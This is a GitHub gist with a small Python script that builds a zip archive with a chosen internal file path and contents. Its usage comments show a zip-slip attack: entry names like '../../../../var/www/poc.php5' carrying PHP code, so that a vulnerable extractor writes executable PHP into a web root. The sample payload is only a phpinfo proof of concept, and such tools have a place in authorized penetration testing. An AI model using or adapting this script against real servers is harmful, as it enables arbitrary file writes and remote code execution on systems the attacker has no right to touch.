Skip to content

Instantly share code, notes, and snippets.

@3lpsy
Created March 24, 2021 20:55
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save 3lpsy/ed1a9d31d708ef43e79e720303322e5f to your computer and use it in GitHub Desktop.
Save 3lpsy/ed1a9d31d708ef43e79e720303322e5f to your computer and use it in GitHub Desktop.
Create Zip File
#!/usr/bin/python3
import zipfile
from io import BytesIO
import sys
def _build_zip(outpath, filepath, filecontents):
mp = BytesIO()
with zipfile.ZipFile(mp, "w", zipfile.ZIP_DEFLATED) as zf:
zf.writestr(filepath, filecontents.encode())
with open(outpath, "wb") as f:
f.write(mp.getvalue())
print("[*] Internal zip path:", filepath)
print("[*] Internal zip contents:", filecontents)
print("[*] Saved to:", outpath)
if __name__ == "__main__":
if len(sys.argv) < 4:
print(
"Usage: zip.py [savelocalpath] [internalzippath] [internalcontents]"
)
else:
_build_zip(sys.argv[1], sys.argv[2], sys.argv[3])
# python3 zipit.py save.zip '../../../../var/www/poc.php5' '<?php phpinfo(); ?>'
# python3 zipit.py save.zip '../../../../var/www/poc.phtml' '<?php phpinfo(); ?>'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment